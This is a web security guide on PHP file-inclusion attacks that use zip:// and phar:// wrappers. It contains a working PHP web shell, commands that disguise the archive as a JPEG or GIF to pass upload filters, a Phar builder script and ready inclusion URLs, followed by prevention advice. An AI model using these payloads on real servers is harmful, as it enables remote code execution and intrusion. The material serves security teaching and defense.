Skip to content
highCVSS 8.1CWE-434A03:2021 – Injection

Uploads, zip:// and phar://

An upload feature that rejects .php files still lets you put bytes on disk. zip:// and phar:// reach inside the archive you uploaded, and neither is governed by any allow_url flag.

The upload does not have to be dangerous

An upload feature that carefully rejects .php, checks the MIME type, verifies the magic bytes, and stores the file outside the webroot has still done the one thing you needed: it put bytes you chose onto the disk.

With an inclusion bug, that is enough. zip:// and phar:// read a file from inside an archive, and the archive can be disguised as anything the upload filter will accept. The .php inside never has to touch the upload validation, because as far as the validator is concerned you uploaded a JPEG.

Both wrappers are local, so no allow_url_fopen or allow_url_include setting applies. They work on a stock php.ini.

zip://

Bash
# 1. Build an archive containing your payload.
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip payload.zip shell.php

# 2. Make it survive the upload filter. A ZIP's signature is at the START,
#    so prepending image bytes gives you a file that is a valid JPEG to a
#    magic-byte check and a valid ZIP to libzip, which reads the central
#    directory from the END.
cat real.jpg payload.zip > avatar.jpg

# 3. Upload it, and find where it landed. The response, the img src, or a
#    source read will tell you.

# 4. Reach inside it. The # separates the archive from the entry, and must
#    be URL-encoded as %23 or it will be treated as a fragment.
#    ?page=zip://./uploads/avatar.jpg%23shell
#
# Note: no .php on the entry name if the sink appends one. If it does not,
# use the full name:
#    ?page=zip://./uploads/avatar.jpg%23shell.php

# Absolute paths work too and are more reliable than guessing the relative depth:
#    ?page=zip:///var/www/html/uploads/avatar.jpg%23shell.php

phar://

PHPbuild.php — run locally, not on the target
<?php
// phar.readonly must be Off to CREATE an archive. That is a setting on
// YOUR machine, not the target's — the target only ever reads it, and
// reading is never restricted.
//   php -d phar.readonly=0 build.php

$p = new Phar('payload.phar');
$p->startBuffering();
$p->addFromString('shell.php', '<?php system($_GET["cmd"]); ?>');
$p->setStub('<?php __HALT_COMPILER(); ?>');
$p->stopBuffering();

// Rename to whatever the upload filter accepts. The extension is irrelevant
// to the phar:// wrapper — it reads the stub, not the filename.
rename('payload.phar', 'avatar.gif');

// Then on the target:
//   ?page=phar://./uploads/avatar.gif/shell.php
//
// Note phar:// uses / rather than #, so no encoding problem.
//
// And see /guide/phar-deserialization — a phar:// reference triggers
// metadata deserialization even through a READ-ONLY sink, which is a
// second and often better path.

Choosing between them

zip://phar://
Separator# — must be encoded as %23/ — no encoding needed
Needs an executing sinkYesNo, if you use the deserialization path
Signature positionCentral directory at the end — prepend freelyStub at the start — append instead
Build toolAny zip utilityPHP with phar.readonly=0, or a hand-built file
CompressionYes; a stored entry is simplestYes
Also a deserialization sinkNoYes — see Phar Deserialization
Usual disguiseAppend the zip to a real imagePrepend the stub, append the image

Finding where the file went

The technique needs the path on disk, and applications rarely tell you directly. In order of reliability:

Read the source. php://filter/convert.base64-encode/resource=upload.php gives you the exact destination directory and the naming scheme in one request. This is by far the fastest route and it is why source reads come first in the methodology.

Look at how the file is served back. An avatar rendered as <img src="/uploads/2026/08/a1b2c3.jpg"> tells you the URL, and the filesystem path is usually the webroot plus that.

Check for a predictable name. Many applications use the original filename, a hash of the contents, or a UUID stored in the database. If it is the original filename you already know it.

Try /tmp. If the upload is rejected after PHP has written it, the temporary file still existed briefly — which is a different technique, the temp-file race.

Use /proc/self/fd/. If the worker still has the upload open, the descriptor reaches it without needing a path at all. See /proc, environ, and File Descriptors.

Making the archive survive validation

Upload filters check some combination of extension, declared MIME type, magic bytes, and — the strict ones — whether an image library can parse it.

ZIP is well suited to defeating all four because libzip locates the central directory from the end of the file. Everything before it is ignored. So cat real.jpg payload.zip > x.jpg is simultaneously a completely valid JPEG and a completely valid ZIP, and it passes a getimagesize() check.

Phar is the other way round: the stub must be near the start. The usual approach is to put a minimal stub first and pad afterwards, or to use __HALT_COMPILER(); early and append image data. This survives a magic-byte check less easily, so ZIP is generally the better choice when the filter is strict.

GIF is often the easiest target: the magic bytes are just GIF89a, and prepending that to a phar frequently satisfies both the magic check and the phar parser.

What defeats the polyglot approach is re-encoding. An upload handler that decodes the image and writes it back out with GD or ImageMagick destroys the archive entirely. That is the one upload control that genuinely stops this.

Prevention

Two separate bugs, and both are worth fixing:

The inclusion sink. Allowlist the parameter. Nothing on this page works if the parameter cannot name a path. See Defense in Depth.

The upload handler.

  • Store uploads outside the webroot with generated names. This does not stop zip:// — the wrapper does not care whether the file is web-accessible — but it stops the simpler attack of requesting the uploaded file directly.
  • Re-encode images. Decode and re-emit through GD or ImageMagick. This is the control that actually destroys a polyglot, and it is worth the CPU.
  • Do not trust the declared MIME type or the extension. Neither is evidence of anything.
  • open_basedir covering the upload directory does not help, because the upload directory is normally inside the app tree by design.

Note that phar.readonly=On — which is the default — does not help. It prevents writing Phar archives from PHP code, not reading uploaded ones.